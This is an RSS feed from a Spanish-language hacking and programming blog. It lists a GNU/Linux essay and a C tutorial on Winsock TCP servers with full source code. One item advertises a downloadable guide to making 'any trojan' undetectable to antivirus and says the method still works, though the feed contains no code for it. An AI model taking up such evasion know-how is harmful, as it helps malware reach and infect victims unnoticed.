<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Aztekmindz &#187; Papers</title>
	<atom:link href="http://aztekmindz.org/category/papers/feed/" rel="self" type="application/rss+xml" />
	<link>http://aztekmindz.org</link>
	<description>Otro sitio creado con WordPress</description>
	<lastBuildDate>Mon, 14 Nov 2011 23:09:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Soy parte de GNU/Linux?</title>
		<link>http://aztekmindz.org/2008/09/10/soy-parte-de-gnulinux/</link>
		<comments>http://aztekmindz.org/2008/09/10/soy-parte-de-gnulinux/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 20:53:32 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=212</guid>
		<description><![CDATA[Texto escrito por mi donde expongo la necesidad de explicar a grandes rasgos el movimiento GNU y la fusión final GNU/Linux, muy recomendable para todos los nuevos usuarios que incursionan en GNU/Linux y no saben que forman parte de toda una filosofia y una forma de vida, cometiendo el error de referirse al sistema operativo [...]]]></description>
			<content:encoded><![CDATA[<p>Texto escrito por mi donde expongo la necesidad de explicar a grandes rasgos el movimiento GNU y la fusión final GNU/Linux, muy recomendable para todos los nuevos usuarios que incursionan en GNU/Linux y no saben que  forman parte de toda una filosofia y una forma de vida, cometiendo el error de referirse al sistema operativo y al movimiento únicamente como &#8220;Linux&#8221;.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="750" height="800" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.aztekmindz.org/wp-content/uploads/2008/09/spdgl.swf" /><embed type="application/x-shockwave-flash" width="750" height="800" src="http://www.aztekmindz.org/wp-content/uploads/2008/09/spdgl.swf"></embed></object></p>
<p><a title="Descargar Documento en PDF" href="http://www.aztekmindz.org/wp-content/uploads/2008/09/spdgl.pdf"><span style="color: #ff0000;">Descarga este documento en PDF</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://aztekmindz.org/2008/09/10/soy-parte-de-gnulinux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TUTORIAL: haz indetectable CUALQUIER troyano by Octalh</title>
		<link>http://aztekmindz.org/2008/07/11/tutorial-haz-indetectable-cualquier-troyano-by-octalh/</link>
		<comments>http://aztekmindz.org/2008/07/11/tutorial-haz-indetectable-cualquier-troyano-by-octalh/#comments</comments>
		<pubDate>Fri, 11 Jul 2008 05:00:21 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=69</guid>
		<description><![CDATA[23 paginas bien explicadas con imagenes y bien documentadas con todo lo que necesitas saber para hacer indetectable cualquier troyano o lo que te plazca.]]></description>
			<content:encoded><![CDATA[<p>Bueno ya tiene algo de tiempo que escribí este manual, y aunque el malware que se utilizo en ese tiempo ( Xcrypter ) ya es detectado por los antivirus el método sigue siendo <strong>totalmente funcional</strong>.</p>
<p>Así que me parece bien tener esta información siempre a la mano a la hora de hacer nuestro malware indetectable a cualquier antivirus.</p>
<p>consta de 23 paginas bien explicadas con imagenes y bien documentadas con todo lo que necesitas saber para hacer INDETECTABLE CUALQUIER TROYANO o lo que te plazca.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="750" height="800" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://www.fileden.com/files/2007/12/7/1631476/htti.swf" /><embed type="application/x-shockwave-flash" width="750" height="800" src="http://www.fileden.com/files/2007/12/7/1631476/htti.swf"></embed></object></p>
<p><a title="How-To Troyano Indetectable" href="http://www.fileden.com/files/2007/12/7/1631476/how-to-tryano-indetectable.zip"><span style="color: #ff0000;">Descarga este Documento en PDF</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://aztekmindz.org/2008/07/11/tutorial-haz-indetectable-cualquier-troyano-by-octalh/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Tutorial Programacion de Sockets en C Parte II</title>
		<link>http://aztekmindz.org/2008/06/29/tutorial-programacion-de-sockets-en-c-parte-ii/</link>
		<comments>http://aztekmindz.org/2008/06/29/tutorial-programacion-de-sockets-en-c-parte-ii/#comments</comments>
		<pubDate>Sun, 29 Jun 2008 07:54:29 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
				<category><![CDATA[C \\ C++]]></category>
		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=40</guid>
		<description><![CDATA[Tutorial Programacion de Sockets en C por Octalh www.aztekmindz.org Hola a todos nuevamente, después de unos días me alegra informarles que ya esta lista la segunda entrega de este pequeño tutorial para incursionar en la programación con sockets. En la entrega anterior aprendimos los principales tipos de sockets y como programar nuestro primer cliente, es [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong>Tutorial Programacion de Sockets en C<br />
por Octalh<br />
www.aztekmindz.org</strong></p>
<p style="text-align: center;">
<p>Hola a todos nuevamente, después de unos días me alegra informarles que ya esta lista la segunda entrega de este pequeño tutorial para incursionar en la programación con sockets.</p>
<p>En la entrega anterior aprendimos los principales tipos de sockets y como programar nuestro primer cliente, es decir el programa que conecta al servidor.</p>
<p>En esta ocasión vamos a aprender a programar el servidor, que es el programa que atenderá al cliente.</p>
<p>Pero antes de empezar a tocar la programación es bueno comenzar explicando brevemente  que es el  protocolo TCP y como trabaja de la mano del protocolo IP</p>
<p><strong>TCP</strong> (<strong>Transmission Control Protocol</strong>, en español <strong>Protocolo de Control de Transmisión</strong>) es uno de los protocolos fundamentales en Internet. Fue creado entre los años 1973 &#8211; 1974 por Vint Cerf y Robert Kahn. Muchos programas dentro de una red de datos compuesta por ordenadores pueden usar TCP para crear conexiones entre ellos a través de las cuales puede enviarse un flujo de datos. El protocolo garantiza que los datos serán entregados en su destino sin errores y en el mismo orden en que se transmitieron. También proporciona un mecanismo para distinguir distintas aplicaciones dentro de una misma máquina, a través del concepto de puerto. TCP da soporte a muchas de las aplicaciones más populares de Internet, incluidas <strong>HTTP, SMTP, SSH y FTP.</strong></p>
<p>Una <strong>dirección</strong> <strong>IP</strong> es un número que identifica de manera lógica y jerárquicamente a una interfaz de un dispositivo (habitualmente una computadora) dentro de una red que utilice el <strong>protocolo de Internet</strong> (Internet Protocol), que corresponde al nivel de red o nivel 3 del modelo de referencia OSI. Dicho número no se ha de confundir con la dirección MAC que es un número físico que es asignado a la tarjeta o dispositivo de red (viene impuesta por el fabricante), mientras que la dirección IP se puede cambiar.<br />
Ahora que sabemos lo necesario sobre TCP \ IP entendemos que TCP es el protocolo que transportara nuestros datos a través del socket, mientras que IP sirve para saber de donde y a donde enviar dichos datos a través de la red.<br />
Ambos protocolos trabajan en conjunto para poder establecer una conexión entre <strong>Cliente y Servidor</strong>.</p>
<p>Esto lo podemos entender mejor apreciando el siguiente diagrama.</p>
<div class="captionfull"><img src="http://www.aztekmindz.org/wp-content/uploads/2008/06/diagrama.gif" alt="" /></div>
<p>Si ya se que esto no se acerca ni tantito a un diagrama de TCP / IP <strong>three-way handshake</strong> pero para darnos idea de cómo funciona la interacción (conmutación de datos) entre ambos equipos esta bien.</p>
<p>Puesto que ya tenemos algo de teoría y un entendimiento un poco mas amplio de cómo funciona una conexión en TCP ahora procederemos a Programar Nuestro servidor.</p>
<p>Dado que es muy similar la programación del servidor a la forma en la que programamos el cliente, a excepción de de la forma en la que se declara la estructura del socket y el hecho de que ahora nos pondremos en escucha por un puerto determinado envés de conectar a una IP, solo listare esa sección del código para ahorrar espacio.</p>
<p><span style="color: #ff0000;">char Buffer[1023];</span><br />
Declaramos el tamaño del Buffer</p>
<p><span style="color: #ff0000;">conexloc.sin_family = AF_INET;</span><br />
Definimos la version 4 de IP</p>
<p><span style="color: #ff0000;">conexloc.sin_addr.s_addr = INADDR_ANY;</span><br />
Definimos IP local</p>
<p><span style="color: #ff0000;">conexloc.sin_port = htons(9999);</span><br />
Definimos puerto (9999) por el que escuchara el socket utilizando un “short de máquina a short de la red” (htons). Esto lo hacemos para ordenar la forma en la que enviaremos y recibiremos los datos por el puerto del socket, mas información buscar en google “Big-Endian”.</p>
<p><span style="color: #ff0000;">bind(locsock, (sockaddr*)&amp;conexloc, sizeof(conexloc);</span><br />
Una ves creado el socket asociamos el descriptor de fichero &#8220;locsock&#8221; a un puerto, para eso utilizamos la función &#8220;bind&#8221;, después asignamos la dirección IP pasándola como puntero a &#8220;sockaddr&#8221;.</p>
<p><span style="color: #ff0000;">listen(locsock, 5);</span><br />
La función listen sirve para poner el socket en escucha por un puerto determinado, en nuestro caso el puerto “9999”que fue definido al socket en la función &#8220;bind&#8221;, utilizando el descriptor de fichero &#8220;locsock&#8221; que &#8220;socket()&#8221; nos dio. El último número es la cantidad de conexiones que podemos tener como máximo en la cola de espera.</p>
<p><span style="color: #ff0000;">conm=sizeof(struct sockaddr);</span><br />
Definimos longitud de &#8220;sockaddr&#8221;</p>
<p><span style="color: #ff0000;">locsock=accept(locsock,(sockaddr*)&amp;conexloc,&amp;conm); </span><br />
Aceptamos la conexión con la función &#8220;accept&#8221; utilizando el descriptor de fichero &#8220;locsock&#8221; para transmitir los datos entre ambas computadoras mediante nuestra estructura &#8220;SOCKADDR_IN&#8221; definida anteriormente en &#8220;conexloc&#8221;.</p>
<p><span style="color: #ff0000;">conm=recv(locsock,Buffer,sizeof(Buffer),0);</span><br />
La función &#8220;recv&#8221; se encarga de recibir los datos a través del descriptor de fichero &#8220;locsock&#8221;, mientras que “Buffer” es donde se va almacenar la información recibida y posteriormente con &#8220;sizeof&#8221; medimos la longitud total del buffer recibido.</p>
<p>Dado que &#8220;recv&#8221; devuelve un valor de cero en caso de existir un error se utiliza un bucle while para verificar que seguimos conectados con el equipo remoto.</p>
<p class="MsoNormal">Código fuente completo del servidor:</p>
<p class="MsoNormal">
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;stdio.h&gt;</span><br />
<span class="co2">#include &lt;winsock2.h&gt; // Referencia a la librería</span></p>
<p>using namespace std;</p>
<p>WSADATA wsadata; <span class="co1">//Declaramos WSADATA</span></p>
<p><span class="kw4">struct</span> hostent *host;<br />
<span class="co1">//Declaramos estructura hostent donde almacenaremos la IP que nos devuelva gethostbyname</span></p>
<p>SOCKADDR_IN conexloc;<br />
<span class="coMULTI">/*Declaramos una estructura SOCKADDR_IN para no tener que definir una IP y un puerto<br />
en cada paquete que enviemos. De esa forma todo viajara encapsulado utilizando la estructura<br />
SOCKADDR_IN.<br />
*/</span></p>
<p>SOCKET locsock; <span class="co1">// Declaramos el descriptor de fichero que nos de el socket</span></p>
<p><span class="kw4">char</span> Buffer<span class="br0">&#91;</span><span class="nu0">1023</span><span class="br0">&#93;</span>; <span class="co1">// Declaramos el tamaño del Buffer</span></p>
<p><span class="kw4">int</span> WSAInicio<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">//declaramos procedimiento</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw4">int</span> wasa = WSAStartup<span class="br0">&#40;</span>MAKEWORD<span class="br0">&#40;</span><span class="nu0">2</span>,<span class="nu0">0</span><span class="br0">&#41;</span>,&amp;amp;wsadata<span class="br0">&#41;</span>; <span class="co1">//Indicamos versión 2.0 del socket</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>wasa != <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error iniciando WSAStartup <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> definirsocket<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;locsock = socket<span class="br0">&#40;</span>AF_INET<span class="coMULTI">/* IP V4 */</span>, SOCK_STREAM, <span class="nu0">0</span><span class="br0">&#41;</span>; <span class="co1">// Indicamos que usaremos un socket Stream(TCP)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>locsock == INVALID_SOCKET<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error definiendo socket <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> estructsocket<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Definimos procedimiento</span><br />
&nbsp; &nbsp; &nbsp;conexloc.<span class="me1">sin_family</span> = AF_INET; <span class="co1">// Ordenación de Maquina</span><br />
&nbsp; &nbsp; &nbsp; <span class="coMULTI">/*<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Definimos la version 4 de IP<br />
&nbsp; &nbsp; &nbsp; */</span><br />
&nbsp; &nbsp; &nbsp;conexloc.<span class="me1">sin_addr</span>.<span class="me1">s_addr</span> = INADDR_ANY;<br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/*<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Definimos IP local<br />
&nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp;conexloc.<span class="me1">sin_port</span> = htons<span class="br0">&#40;</span><span class="nu0">9999</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Definimos puerto (9999) por el que escuchara el socket utilizando un “short de máquina a short de la red” (htons)<br />
&nbsp; &nbsp; &nbsp; &nbsp; Esto lo hacemos para ordenar la forma en la que enviaremos y recibiremos los datos por el puerto del socket, mas información buscar en google “Big-Endian”.<br />
&nbsp; &nbsp; &nbsp;*/</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>bind<span class="br0">&#40;</span>locsock, <span class="br0">&#40;</span>sockaddr*<span class="br0">&#41;</span>&amp;amp;conexloc, <span class="kw4">sizeof</span><span class="br0">&#40;</span>conexloc<span class="br0">&#41;</span><span class="br0">&#41;</span> == SOCKET_ERROR<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Una ves creado el socket asociamos el descriptor de ficher &quot;locsock&quot; a un puerto, para eso utilizamos la función &quot;bind&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Después asignamos la dirección IP pasándola como puntero a &quot;sockaddr&quot;.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error definiendo socket <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span> &nbsp;<span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>listen<span class="br0">&#40;</span>locsock, <span class="nu0">5</span><span class="br0">&#41;</span> == SOCKET_ERROR<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="coMULTI">/* La función listen sirve para poner el socket en escucha por un puerto determinado, en nuestro caso el puerto 9999<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; que fue definido al socket en la función &quot;bind&quot;, utilizando el descriptor de fichero &quot;locsock&quot; que &quot;socket()&quot; nos dio<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; El ultimo numero es la cantidad de conexiones que podemos tener como máximo en la cola de espera.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error Al ponerse en escucha <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la función fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Esperando conexiones por puerto 9999 <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> conexion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp;<span class="kw4">int</span> conm; <span class="co1">//Declaramos variable para definir longitud de la estructura &quot;sockaddr&quot;</span><br />
&nbsp; &nbsp; &nbsp;conm=<span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="br0">&#41;</span>; <span class="co1">// definimos longitud de &quot;sockaddr&quot;</span><br />
&nbsp; &nbsp; &nbsp;locsock=accept<span class="br0">&#40;</span>locsock,<span class="br0">&#40;</span>sockaddr*<span class="br0">&#41;</span>&amp;amp;conexloc,&amp;amp;conm<span class="br0">&#41;</span>; <span class="co1">// Conexion establecida</span><br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Aceptamos la conexión con la funcion &quot;accept&quot; utilizando el descriptor de fichero &quot;locsock&quot; para transmitir los datos entre ambas computadoras<br />
&nbsp; &nbsp; &nbsp; &nbsp; mediante nuestra estructura &quot;SOCKADDR_IN&quot; definida anteriormente en &quot;conexloc&quot;<br />
&nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Conexion establecida <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">while</span> <span class="br0">&#40;</span>conm!=<span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1">//mientras estemos conectados..</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conm=recv<span class="br0">&#40;</span>locsock,Buffer,<span class="kw4">sizeof</span><span class="br0">&#40;</span>Buffer<span class="br0">&#41;</span>,<span class="nu0">0</span><span class="br0">&#41;</span>; <span class="co1">//recibimos los datos que envíe</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="coMULTI">/* La función &quot;recv&quot; se encarga de recibir los datos a través del descriptor de fichero &quot;locsock&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Buffer es donde se va almacenar la información recibida y posteriormente con &quot;sizeof&quot; medimos la longitud total del buffer recibido<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Dado que &quot;recv&quot; devuelve un valor de cero en caso de existir un error se utiliza un bucle while para verificar<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;que seguimos conectados con el equipo remoto<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; */</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>conm&gt;<span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span> &nbsp;<span class="co1">//si seguimos conectados al cliente</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Datos recibidos:%s&quot;</span>,Buffer<span class="br0">&#41;</span>; <span class="co1">//imprimimos los datos recibidos</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> sockets<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1">// Procedimiento que iniciara el socket secuencialmente.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>WSAInicio<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio WSAInicio sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>definirsocket<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio definirsocket sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>estructsocket<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio estructsocket sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;conexion<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// Iniciamos el procedimiento &quot;conexion&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; sockets<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// Iniciamos el Socket</span><br />
<span class="br0">&#125;</span></div>
<p>Bien ahora que ya tienes El cliente y el Servidor, llego el momento de ejecutar el Servidor seguido del cliente y voila!!!</p>
<div class="captionfull"><img src="http://www.aztekmindz.org/wp-content/uploads/2008/06/fin.gif" alt="" /></div>
<p>Felicidades ya tienes tu primer aplicación con sockets programada en C.<br />
Hasta aquí termina este tutorial, espero que te haya gustado y te sea de utilidad, cualquier sugerencia puedes contactarme vía E-Mail: octalh@gmail.com</p>
<p>Solo me queda decirte que ahora te toca perfeccionar el cliente para que interactué de igual forma que lo hace el servidor <img src='http://aztekmindz.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Tutorial elaborado para: www.aztekmindz.org</p>
<p><a href="http://www.aztekmindz.org/wp-content/uploads/2008/06/sockets_ii.zip"><span style="color: #ff0000;">Descargar Projecto Fuentes y Compilado</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://aztekmindz.org/2008/06/29/tutorial-programacion-de-sockets-en-c-parte-ii/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Tutorial Programacion de Sockets en C Parte I</title>
		<link>http://aztekmindz.org/2008/06/24/tutorial-programacion-de-sockets-en-c-parte-i/</link>
		<comments>http://aztekmindz.org/2008/06/24/tutorial-programacion-de-sockets-en-c-parte-i/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 09:19:44 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
				<category><![CDATA[C \\ C++]]></category>
		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=30</guid>
